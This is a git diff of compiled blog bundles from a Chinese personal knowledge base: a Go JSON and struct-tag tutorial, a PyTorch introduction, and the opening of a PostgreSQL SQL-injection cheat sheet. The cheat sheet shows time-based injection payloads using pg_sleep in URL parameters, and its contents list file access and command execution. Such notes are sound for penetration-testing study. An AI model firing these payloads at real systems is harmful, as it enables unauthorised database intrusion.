`{"Title":"101","Students":[{"ID":0,"Gender":"\u7537","Name":"stu00"},{"ID":1,"Gender":"\u7537","Name":"stu01"},{"ID":2,"Gender":"\u7537","Name":"stu02"},{"ID":3,"Gender":"\u7537","Name":"stu03"},{"ID":4,"Gender":"\u7537","Name":"stu04"},{"ID":5,"Gender":"\u7537","Name":"stu05"},{"ID":6,"Gender":"\u7537","Name":"stu06"},{"ID":7,"Gender":"\u7537","Name":"stu07"},{"ID":8,"Gender":"\u7537","Name":"stu08"},{"ID":9,"Gender":"\u7537","Name":"stu09"}]}`\n\tc1 := &Class{}\n\terr = json.Unmarshal([]byte(str), c1)\n\tif err != nil {\n\t\tfmt.Println("json unmarshal failed!")\n\t\treturn\n\t}\n\tfmt.Printf("%#v\\n", c1)\n}\n'})}),"\n",(0,r.jsx)(e.h3,{id:"\u7ed3\u6784\u4f53\u6807\u7b7etag",children:"\u7ed3\u6784\u4f53\u6807\u7b7e\uff08Tag\uff09"}),"\n",(0,r.jsxs)(e.p,{children:[(0,r.jsx)(e.code,{children:"Tag"}),"\u662f\u7ed3\u6784\u4f53\u7684\u5143\u4fe1\u606f\uff0c\u53ef\u4ee5\u5728\u8fd0\u884c\u7684\u65f6\u5019\u901a\u8fc7\u53cd\u5c04\u7684\u673a\u5236\u8bfb\u53d6\u51fa\u6765\u3002 ",(0,r.jsx)(e.code,{children:"Tag"}),"\u5728\u7ed3\u6784\u4f53\u5b57\u6bb5\u7684\u540e\u65b9\u5b9a\u4e49\uff0c\u7531\u4e00\u5bf9",(0,r.jsx)(e.strong,{children:"\u53cd\u5f15\u53f7"}),"\u5305\u88f9\u8d77\u6765\uff0c\u5177\u4f53\u7684\u683c\u5f0f\u5982\u4e0b\uff1a"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-bash",children:'`key1:"value1" key2:"value2"`\n'})}),"\n",(0,r.jsx)(e.p,{children:"\u7ed3\u6784\u4f53tag\u7531\u4e00\u4e2a\u6216\u591a\u4e2a\u952e\u503c\u5bf9\u7ec4\u6210\u3002\u952e\u4e0e\u503c\u4f7f\u7528\u5192\u53f7\u5206\u9694\uff0c\u503c\u7528\u53cc\u5f15\u53f7\u62ec\u8d77\u6765\u3002\u540c\u4e00\u4e2a\u7ed3\u6784\u4f53\u5b57\u6bb5\u53ef\u4ee5\u8bbe\u7f6e\u591a\u4e2a\u952e\u503c\u5bf9tag\uff0c\u4e0d\u540c\u7684\u952e\u503c\u5bf9\u4e4b\u95f4\u4f7f\u7528\u7a7a\u683c\u5206\u9694\u3002"}),"\n",(0,r.jsxs)(e.p,{children:[(0,r.jsx)(e.strong,{children:"\u6ce8\u610f\u4e8b\u9879\uff1a"})," \u4e3a\u7ed3\u6784\u4f53\u7f16\u5199",(0,r.jsx)(e.code,{children:"Tag"}),"\u65f6\uff0c\u5fc5\u987b\u4e25\u683c\u9075\u5b88\u952e\u503c\u5bf9\u7684\u89c4\u5219\u3002\u7ed3\u6784\u4f53\u6807\u7b7e\u7684\u89e3\u6790\u4ee3\u7801\u7684\u5bb9\u9519\u80fd\u529b\u5f88\u5dee\uff0c\u4e00\u65e6\u683c\u5f0f\u5199\u9519\uff0c\u7f16\u8bd1\u548c\u8fd0\u884c\u65f6\u90fd\u4e0d\u4f1a\u63d0\u793a\u4efb\u4f55\u9519\u8bef\uff0c\u901a\u8fc7\u53cd\u5c04\u4e5f\u65e0\u6cd5\u6b63\u786e\u53d6\u503c\u3002\u4f8b\u5982\u4e0d\u8981\u5728key\u548cvalue\u4e4b\u95f4\u6dfb\u52a0\u7a7a\u683c\u3002"]}),"\n",(0,r.jsxs)(e.p,{children:["\u4f8b\u5982\u6211\u4eec\u4e3a",(0,r.jsx)(e.code,{children:"Student"}),"\u7ed3\u6784\u4f53\u7684\u6bcf\u4e2a\u5b57\u6bb5\u5b9a\u4e49json\u5e8f\u5217\u5316\u65f6\u4f7f\u7528\u7684Tag\uff1a"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'//Student \u5b66\u751f\ntype Student struct {\n\tID int `json:"id"` //\u901a\u8fc7\u6307\u5b9atag\u5b9e\u73b0json\u5e8f\u5217\u5316\u8be5\u5b57\u6bb5\u65f6\u7684key\n\tGender string //json\u5e8f\u5217\u5316\u662f\u9ed8\u8ba4\u4f7f\u7528\u5b57\u6bb5\u540d\u4f5c\u4e3akey\n\tname string //\u79c1\u6709\u4e0d\u80fd\u88abjson\u5305\u8bbf\u95ee\n}\n\nfunc main() {\n\ts1 := Student{\n\t\tID: 1,\n\t\tGender: "\u7537",\n\t\tname: "\u6c99\u6cb3\u5a1c\u624e",\n\t}\n\tdata, err := json.Marshal(s1)\n\tif err != nil {\n\t\tfmt.Println("json marshal failed!")\n\t\treturn\n\t}\n\tfmt.Printf("json str:%s\\n", data) //json str:{"id":1,"Gender":"\u7537"}\n}\n'})}),"\n",(0,r.jsx)(e.h3,{id:"\u7ed3\u6784\u4f53\u548c\u65b9\u6cd5\u8865\u5145\u77e5\u8bc6\u70b9",children:"\u7ed3\u6784\u4f53\u548c\u65b9\u6cd5\u8865\u5145\u77e5\u8bc6\u70b9"}),"\n",(0,r.jsx)(e.p,{children:"\u56e0\u4e3aslice\u548cmap\u8fd9\u4e24\u79cd\u6570\u636e\u7c7b\u578b\u90fd\u5305\u542b\u4e86\u6307\u5411\u5e95\u5c42\u6570\u636e\u7684\u6307\u9488\uff0c\u56e0\u6b64\u6211\u4eec\u5728\u9700\u8981\u590d\u5236\u5b83\u4eec\u65f6\u8981\u7279\u522b\u6ce8\u610f\u3002\u6211\u4eec\u6765\u770b\u4e0b\u9762\u7684\u4f8b\u5b50\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'type Person struct {\n\tname string\n\tage int8\n\tdreams []string\n}\n\nfunc (p *Person) SetDreams(dreams []string) {\n\tp.dreams = dreams\n}\n\nfunc main() {\n\tp1 := Person{name: "\u5c0f\u738b\u5b50", age: 18}\n\tdata := []string{"\u5403\u996d", "\u7761\u89c9", "\u6253\u8c46\u8c46"}\n\tp1.SetDreams(data)\n\n\t// \u4f60\u771f\u7684\u60f3\u8981\u4fee\u6539 p1.dreams \u5417\uff1f\n\tdata[1] = "\u4e0d\u7761\u89c9"\n\tfmt.Println(p1.dreams) // ?\n}\n'})}),"\n",(0,r.jsx)(e.p,{children:"\u6b63\u786e\u7684\u505a\u6cd5\u662f\u5728\u65b9\u6cd5\u4e2d\u4f7f\u7528\u4f20\u5165\u7684slice\u7684\u62f7\u8d1d\u8fdb\u884c\u7ed3\u6784\u4f53\u8d4b\u503c\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:"func (p *Person) SetDreams(dreams []string) {\n\tp.dreams = make([]string, len(dreams))\n\tcopy(p.dreams, dreams)\n}\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u540c\u6837\u7684\u95ee\u9898\u4e5f\u5b58\u5728\u4e8e\u8fd4\u56de\u503cslice\u548cmap\u7684\u60c5\u51b5\uff0c\u5728\u5b9e\u9645\u7f16\u7801\u8fc7\u7a0b\u4e2d\u4e00\u5b9a\u8981\u6ce8\u610f\u8fd9\u4e2a\u95ee\u9898\u3002"})]})}function h(n={}){const{wrapper:e}={...(0,i.R)(),...n.components};return e?(0,r.jsx)(e,{...n,children:(0,r.jsx)(o,{...n})}):o(n)}}}]); \ No newline at end of file diff --git a/assets/js/7d569ca4.e49102e5.js b/assets/js/7d569ca4.e49102e5.js new file mode 100644 index 0000000..9cb019d --- /dev/null +++ b/assets/js/7d569ca4.e49102e5.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[8960],{28453:(e,n,r)=>{r.d(n,{R:()=>h,x:()=>l});var t=r(96540);const s={},c=t.createContext(s);function h(e){const n=t.useContext(c);return t.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function l(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:h(e.components),t.createElement(c.Provider,{value:n},e.children)}},73141:(e,n,r)=>{r.d(n,{A:()=>t});const t=r.p+"assets/images/main_compare-aefbdbcbf1a2461ad1570cbfcf42331e.png"},84856:(e,n,r)=>{r.r(n),r.d(n,{assets:()=>o,contentTitle:()=>l,default:()=>a,frontMatter:()=>h,metadata:()=>t,toc:()=>i});const t=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e00\u7ae0/1.1 PyTorch\u7b80\u4ecb","title":"1.1 PyTorch\u7b80\u4ecb.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/01.\u7b2c\u4e00\u7ae0/1.1 PyTorch\u7b80\u4ecb.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/01.\u7b2c\u4e00\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e00\u7ae0/1.1 PyTorch\u7b80\u4ecb","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e00\u7ae0/1.1 PyTorch\u7b80\u4ecb","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/01.\u7b2c\u4e00\u7ae0/1.1 PyTorch\u7b80\u4ecb.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u7b2c\u4e00\u7ae0","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e00\u7ae0/"},"next":{"title":"1.2 PyTorch\u7684\u5b89\u88c5.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e00\u7ae0/1.2 PyTorch\u7684\u5b89\u88c5"}}');var s=r(74848),c=r(28453);const h={},l="1.1 PyTorch\u7b80\u4ecb.md",o={},i=[{value:"1.1.1 PyTorch\u7684\u53d1\u5c55",id:"111-pytorch\u7684\u53d1\u5c55",level:2},{value:"1.1.2 PyTorch\u7684\u4f18\u52bf",id:"112-pytorch\u7684\u4f18\u52bf",level:2}];function d(e){const n={a:"a",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",p:"p",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,c.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(n.header,{children:(0,s.jsx)(n.h1,{id:"11-pytorch\u7b80\u4ecbmd",children:"1.1 PyTorch\u7b80\u4ecb.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(n.tbody,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:10"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(n.tbody,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,s.jsx)(n.h1,{id:"11-pytorch\u7b80\u4ecb",children:"1.1 PyTorch\u7b80\u4ecb"}),"\n",(0,s.jsx)(n.p,{children:"PyTorch\u662f\u7531Meta AI(Facebook)\u4eba\u5de5\u667a\u80fd\u7814\u7a76\u5c0f\u7ec4\u5f00\u53d1\u7684\u4e00\u79cd\u57fa\u4e8eLua\u7f16\u5199\u7684Torch\u5e93\u7684Python\u5b9e\u73b0\u7684\u6df1\u5ea6\u5b66\u4e60\u5e93\uff0c\u76ee\u524d\u88ab\u5e7f\u6cdb\u5e94\u7528\u4e8e\u5b66\u672f\u754c\u548c\u5de5\u4e1a\u754c\uff0c\u76f8\u8f83\u4e8eTensorflow2.x\uff0cPyTorch\u5728API\u7684\u8bbe\u8ba1\u4e0a\u66f4\u52a0\u7b80\u6d01\u3001\u4f18\u96c5\u548c\u6613\u61c2\u3002\u56e0\u6b64\u672c\u8bfe\u7a0b\u6211\u4eec\u9009\u62e9PyTorch\u6765\u8fdb\u884c\u5f00\u6e90\u5b66\u4e60\u3002"}),"\n",(0,s.jsx)(n.p,{children:"\u7ecf\u8fc7\u672c\u8282\u7684\u5b66\u4e60\uff0c\u4f60\u5c06\u6536\u83b7\uff1a"}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsx)(n.li,{children:"\u4e86\u89e3PyTorch\u7684\u53d1\u5c55\u6d41\u7a0b"}),"\n",(0,s.jsx)(n.li,{children:"\u4e86\u89e3PyTorch\u76f8\u8f83\u4e8e\u5176\u4ed6\u6846\u67b6\u7684\u4f18\u52bf"}),"\n"]}),"\n",(0,s.jsx)(n.h2,{id:"111-pytorch\u7684\u53d1\u5c55",children:"1.1.1 PyTorch\u7684\u53d1\u5c55"}),"\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.strong,{children:"\u201cAll in PyTorch\u201d"}),"\uff0c\u5bf9\u4e8ePyTorch\u7684\u53d1\u5c55\u6211\u4eec\u53ea\u80fd\u7528\u4e00\u53e5\u8bdd\u6765\u6982\u51b5\u4e86\uff0cPyTorch\u81ea\u4ece\u63a8\u51fa\u5c31\u83b7\u5f97\u5de8\u5927\u7684\u5173\u6ce8\u5e76\u53d7\u5230\u4e86\u5f88\u591a\u4eba\u7684\u559c\u6b22\uff0c\u800c\u6700\u76f4\u89c2\u7684\u83ab\u8fc7\u4e8e\u4e0b\u9762\u6570\u636e\u6240\u8868\u73b0\u7684\u7b80\u660e\u76f4\u4e86\u3002"]}),"\n",(0,s.jsxs)(n.p,{children:["\u4e0b\u56fe\u6765\u81ea",(0,s.jsx)(n.a,{href:"https://paperswithcode.com/trends",children:"Paper with code"}),"\u7f51\u7ad9\uff0c",(0,s.jsx)(n.strong,{children:"\u989c\u8272\u9762\u79ef\u4ee3\u8868\u4f7f\u7528\u8be5\u6846\u67b6\u7684\u8bba\u6587\u516c\u5f00\u4ee3\u7801\u5e93\u7684\u6570\u91cf"}),"\uff0c\u6211\u4eec\u53ef\u4ee5\u53d1\u73b0\u622a\u81f32021\u5e746\u6708\uff0cPyTorch\u7684\u4ee3\u7801\u5b9e\u73b0\u5df2\u7ecf\u662fTensorFlow\u5b9e\u73b0\u76844\u500d\uff0c\u6211\u4eec\u4e5f\u53ef\u4ee5\u770b\u7ea2\u8272\u90e8\u5206\u7684PyTorch\u6b63\u5728\u53d6\u4ee3\u4ed6\u7684\u8001\u5927\u54e5\u79f0\u9738\u5b66\u672f\u5708\uff0cPyTorch\u4f1a\u501f\u52a9ONNX\u6240\u5e26\u6765\u7684\u843d\u5730\u80fd\u529b\u5728\u5de5\u4e1a\u754c\u9010\u6e10\u8d70\u5411\u4e3b\u5bfc\u5730\u4f4d\u3002"]}),"\n",(0,s.jsx)(n.p,{children:"\u603b\u7684\u6765\u8bf4\uff0c\u6211\u4eec\u5fc5\u987b\u627f\u8ba4\u5230\u73b0\u5728\u4e3a\u6b62PyTorch 1.x\u8fd8\u662f\u6709\u4e0d\u5982\u522b\u7684\u6846\u67b6\u7684\u5730\u65b9\uff0c\u4f46\u662f\u6211\u4eec\u76f8\u4fe1PyTorch 2.x\u7248\u672c\u4f1a\u7ed9\u6211\u4eec\u5e26\u6765\u66f4\u5927\u7684\u60ca\u559c\u3002"}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{alt:"\u6846\u67b6\u5bf9\u6bd4\u56fe",src:r(73141).A+"",width:"1229",height:"656"})}),"\n",(0,s.jsx)(n.h2,{id:"112-pytorch\u7684\u4f18\u52bf",children:"1.1.2 PyTorch\u7684\u4f18\u52bf"}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.strong,{children:"\u66f4\u52a0\u7b80\u6d01"}),"\uff0c\u76f8\u6bd4\u4e8e\u5176\u4ed6\u7684\u6846\u67b6\uff0cPyTorch\u7684\u6846\u67b6\u66f4\u52a0\u7b80\u6d01\uff0c\u6613\u4e8e\u7406\u89e3\u3002PyTorch\u7684\u8bbe\u8ba1\u8ffd\u6c42\u6700\u5c11\u7684\u5c01\u88c5\uff0c\u907f\u514d\u91cd\u590d\u9020\u8f6e\u5b50\u3002"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.strong,{children:"\u4e0a\u624b\u5feb"}),"\uff0c\u638c\u63e1numpy\u548c\u57fa\u672c\u7684\u6df1\u5ea6\u5b66\u4e60\u77e5\u8bc6\u5c31\u53ef\u4ee5\u4e0a\u624b\u3002"]}),"\n",(0,s.jsxs)(n.li,{children:["PyTorch\u6709\u7740",(0,s.jsx)(n.strong,{children:"\u826f\u597d\u7684\u6587\u6863\u548c\u793e\u533a\u652f\u6301"}),"\uff0c\u4f5c\u8005\u4eb2\u81ea\u7ef4\u62a4\u7684\u8bba\u575b\u4f9b\u7528\u6237\u4ea4\u6d41\u548c\u6c42\u6559\u95ee\u9898\u3002Meta AI(Facebook AI)\u5bf9PyTorch\u63d0\u4f9b\u4e86\u5f3a\u529b\u652f\u6301\uff0c\u4f5c\u4e3a\u5f53\u4eca\u6392\u540d\u524d\u4e09\u7684\u6df1\u5ea6\u5b66\u4e60\u7814\u7a76\u673a\u6784\uff0cMAIR\u7684\u652f\u6301\u8db3\u4ee5\u786e\u4fddPyTorch\u83b7\u5f97\u6301\u7eed\u7684\u5f00\u53d1\u66f4\u65b0\u3002"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.strong,{children:"\u9879\u76ee\u5f00\u6e90"}),"\uff0c\u5728Github\u4e0a\u6709\u8d8a\u6765\u8d8a\u591a\u7684\u5f00\u6e90\u4ee3\u7801\u662f\u4f7f\u7528PyTorch\u8fdb\u884c\u5f00\u53d1\u3002"]}),"\n",(0,s.jsxs)(n.li,{children:["\u53ef\u4ee5",(0,s.jsx)(n.strong,{children:"\u66f4\u597d\u7684\u8c03\u8bd5\u4ee3\u7801"}),"\uff0cPyTorch\u53ef\u4ee5\u8ba9\u6211\u4eec\u9010\u884c\u6267\u884c\u6211\u4eec\u7684\u811a\u672c\u3002\u8fd9\u5c31\u50cf\u8c03\u8bd5NumPy\u4e00\u6837 \u2013 \u6211\u4eec\u53ef\u4ee5\u8f7b\u677e\u8bbf\u95ee\u4ee3\u7801\u4e2d\u7684\u6240\u6709\u5bf9\u8c61\uff0c\u5e76\u4e14\u53ef\u4ee5\u4f7f\u7528\u6253\u5370\u8bed\u53e5\uff08\u6216\u5176\u4ed6\u6807\u51c6\u7684Python\u8c03\u8bd5\uff09\u6765\u67e5\u770b\u65b9\u6cd5\u5931\u8d25\u7684\u4f4d\u7f6e\u3002"]}),"\n",(0,s.jsxs)(n.li,{children:["\u8d8a\u6765\u8d8a\u5b8c\u5584\u7684\u6269\u5c55\u5e93\uff0c\u6d3b\u529b\u65fa\u76db\uff0c\u6b63\u5904\u5728",(0,s.jsx)(n.strong,{children:"\u5f53\u6253\u4e4b\u5e74"}),"\u3002"]}),"\n"]})]})}function a(e={}){const{wrapper:n}={...(0,c.R)(),...e.components};return n?(0,s.jsx)(n,{...e,children:(0,s.jsx)(d,{...e})}):d(e)}}}]); \ No newline at end of file diff --git a/assets/js/7eab5c7a.55d293af.js b/assets/js/7eab5c7a.55d293af.js new file mode 100644 index 0000000..8326928 --- /dev/null +++ b/assets/js/7eab5c7a.55d293af.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[7890],{28453:(e,s,l)=>{l.d(s,{R:()=>a,x:()=>c});var n=l(96540);const t={},r=n.createContext(t);function a(e){const s=n.useContext(r);return n.useMemo(function(){return"function"==typeof e?e(s):{...s,...e}},[s,e])}function c(e){let s;return s=e.disableParentContext?"function"==typeof e.components?e.components(t):e.components||t:a(e.components),n.createElement(r.Provider,{value:s},e.children)}},94977:(e,s,l)=>{l.r(s),l.d(s,{assets:()=>i,contentTitle:()=>c,default:()=>h,frontMatter:()=>a,metadata:()=>n,toc:()=>d});const n=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/PostgreSQL","title":"PostgreSQL","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165/05.PostgreSQL.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/PostgreSQL","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/PostgreSQL","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165/05.PostgreSQL.md","tags":[],"version":"current","sidebarPosition":5,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"MySQL","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/MySQL"},"next":{"title":"SQLite","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/SQLite"}}');var t=l(74848),r=l(28453);const a={},c=void 0,i={},d=[{value:"PostgreSQL \u6ce8\u91ca",id:"postgresql-\u6ce8\u91ca",level:2},{value:"PostgreSQL \u94fe\u6ce8\u5165\u70b9\u7b26\u53f7",id:"postgresql-\u94fe\u6ce8\u5165\u70b9\u7b26\u53f7",level:2},{value:"PostgreSQL \u7248\u672c",id:"postgresql-\u7248\u672c",level:2},{value:"PostgreSQL \u5f53\u524d\u7528\u6237",id:"postgresql-\u5f53\u524d\u7528\u6237",level:2},{value:"PostgreSQL \u5217\u8868\u7528\u6237",id:"postgresql-\u5217\u8868\u7528\u6237",level:2},{value:"PostgreSQL \u5217\u8868\u5bc6\u7801\u54c8\u5e0c",id:"postgresql-\u5217\u8868\u5bc6\u7801\u54c8\u5e0c",level:2},{value:"PostgreSQL \u5217\u51fa\u6570\u636e\u5e93\u7ba1\u7406\u5458\u5e10\u6237",id:"postgresql-\u5217\u51fa\u6570\u636e\u5e93\u7ba1\u7406\u5458\u5e10\u6237",level:2},{value:"PostgreSQL \u5217\u8868\u6743\u9650",id:"postgresql-\u5217\u8868\u6743\u9650",level:2},{value:"PostgreSQL \u68c0\u67e5\u5f53\u524d\u7528\u6237\u662f\u5426\u4e3a\u8d85\u7ea7\u7528\u6237",id:"postgresql-\u68c0\u67e5\u5f53\u524d\u7528\u6237\u662f\u5426\u4e3a\u8d85\u7ea7\u7528\u6237",level:2},{value:"PostgreSQL \u6570\u636e\u5e93\u540d\u79f0",id:"postgresql-\u6570\u636e\u5e93\u540d\u79f0",level:2},{value:"PostgreSQL \u5217\u8868\u6570\u636e\u5e93",id:"postgresql-\u5217\u8868\u6570\u636e\u5e93",level:2},{value:"PostgreSQL \u5217\u8868\u8868",id:"postgresql-\u5217\u8868\u8868",level:2},{value:"PostgreSQL \u5217\u8868\u5217",id:"postgresql-\u5217\u8868\u5217",level:2},{value:"PostgreSQL \u57fa\u4e8e\u9519\u8bef",id:"postgresql-\u57fa\u4e8e\u9519\u8bef",level:2},{value:"PostgreSQL \u57fa\u4e8eXML",id:"postgresql-\u57fa\u4e8exml",level:2},{value:"PostgreSQL \u57fa\u4e8e\u76f2\u6ce8",id:"postgresql-\u57fa\u4e8e\u76f2\u6ce8",level:2},{value:"PostgreSQL \u57fa\u4e8e\u65f6\u95f4",id:"postgresql-\u57fa\u4e8e\u65f6\u95f4",level:2},{value:"\u786e\u5b9a\u57fa\u4e8e\u65f6\u95f4\u7684",id:"\u786e\u5b9a\u57fa\u4e8e\u65f6\u95f4\u7684",level:4},{value:"\u57fa\u4e8e\u6570\u636e\u5e93\u8f6c\u50a8\u65f6\u95f4",id:"\u57fa\u4e8e\u6570\u636e\u5e93\u8f6c\u50a8\u65f6\u95f4",level:4},{value:"\u57fa\u4e8e\u8868\u8f6c\u50a8\u65f6\u95f4",id:"\u57fa\u4e8e\u8868\u8f6c\u50a8\u65f6\u95f4",level:4},{value:"\u5217\u8f6c\u50a8\u57fa\u4e8e\u65f6\u95f4",id:"\u5217\u8f6c\u50a8\u57fa\u4e8e\u65f6\u95f4",level:4},{value:"PostgreSQL \u5806\u53e0\u67e5\u8be2",id:"postgresql-\u5806\u53e0\u67e5\u8be2",level:2},{value:"PostgreSQL \u6587\u4ef6\u8bfb\u53d6",id:"postgresql-\u6587\u4ef6\u8bfb\u53d6",level:2},{value:"PostgreSQL \u6587\u4ef6\u5199\u5165",id:"postgresql-\u6587\u4ef6\u5199\u5165",level:2},{value:"PostgreSQL \u547d\u4ee4\u6267\u884c",id:"postgresql-\u547d\u4ee4\u6267\u884c",level:2},{value:"2019 \u5e74 9 \u6708 19 \u65e5",id:"2019-\u5e74-9-\u6708-19-\u65e5",level:3},{value:"\u4f7f\u7528 libc.so.6",id:"\u4f7f\u7528-libcso6",level:3},{value:"\u65c1\u901a\u8fc7\u6ee4\u5668",id:"\u65c1\u901a\u8fc7\u6ee4\u5668",level:3},{value:"\u62a5\u4ef7",id:"\u62a5\u4ef7",level:4},{value:"\u53c2\u8003\u6587\u732e",id:"\u53c2\u8003\u6587\u732e",level:2}];function o(e){const s={a:"a",code:"code",h2:"h2",h3:"h3",h4:"h4",img:"img",li:"li",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,r.R)(),...e.components};return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsxs)(s.table,{children:[(0,t.jsx)(s.thead,{children:(0,t.jsxs)(s.tr,{children:[(0,t.jsx)(s.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,t.jsx)(s.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,t.jsx)(s.tbody,{children:(0,t.jsxs)(s.tr,{children:[(0,t.jsx)(s.td,{style:{textAlign:"left"},children:(0,t.jsx)(s.img,{src:"https://img.shields.io/badge/wjlin0-blog-green",alt:"wjlin0"})}),(0,t.jsx)(s.td,{style:{textAlign:"left"},children:"2023-07-05 21:37:29"})]})})]}),"\n",(0,t.jsx)(s.h2,{id:"postgresql-\u6ce8\u91ca",children:"PostgreSQL \u6ce8\u91ca"}),"\n",(0,t.jsx)(s.pre,{children:(0,t.jsx)(s.code,{className:"language-sql",children:"--\n/**/ \n"})}),"\n",(0,t.jsx)(s.h2,{id:"postgresql-\u94fe\u6ce8\u5165\u70b9\u7b26\u53f7",children:"PostgreSQL \u94fe\u6ce8\u5165\u70b9\u7b26\u53f7"}),"\n",(0,t.jsx)(s.pre,{children:(0,t.jsx)(s.code,{className:"language-sql",children:"; #Used to terminate a SQL command. The only place it can be used within a statement is within a string constant or quoted identifier.\n|| #or statement \n\n# usage examples: \n/?whatever=1;(select 1 from pg_sleep(5))\n/?whatever=1||(select 1 from pg_sleep(5))\n"})}),"\n",(0,t.jsx)(s.h2,{id:"postgresql-\u7248\u672c",children:"PostgreSQL \u7248\u672c"}),"\n",(0,t.jsx)(s.pre,{children:(0,t.jsx)(s.code,{className:"language-sql",children:"SELECT version()\n"})}),"\n",(0,t.jsx)(s.h2,{id:"postgresql-\u5f53\u524d\u7528\u6237",children:"PostgreSQL 